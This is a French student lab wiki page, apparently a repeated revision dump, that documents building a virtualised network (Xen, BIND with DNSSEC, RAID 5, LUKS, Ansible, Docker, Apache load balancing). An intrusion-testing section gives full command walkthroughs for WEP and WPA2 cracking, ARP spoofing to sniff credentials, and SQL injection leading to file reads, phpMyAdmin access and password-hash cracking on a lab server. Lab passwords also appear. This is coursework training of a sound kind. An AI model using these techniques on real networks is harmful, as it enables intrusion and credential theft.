dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:10:51Z

Psanchez : /* Création de notre conteneur */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

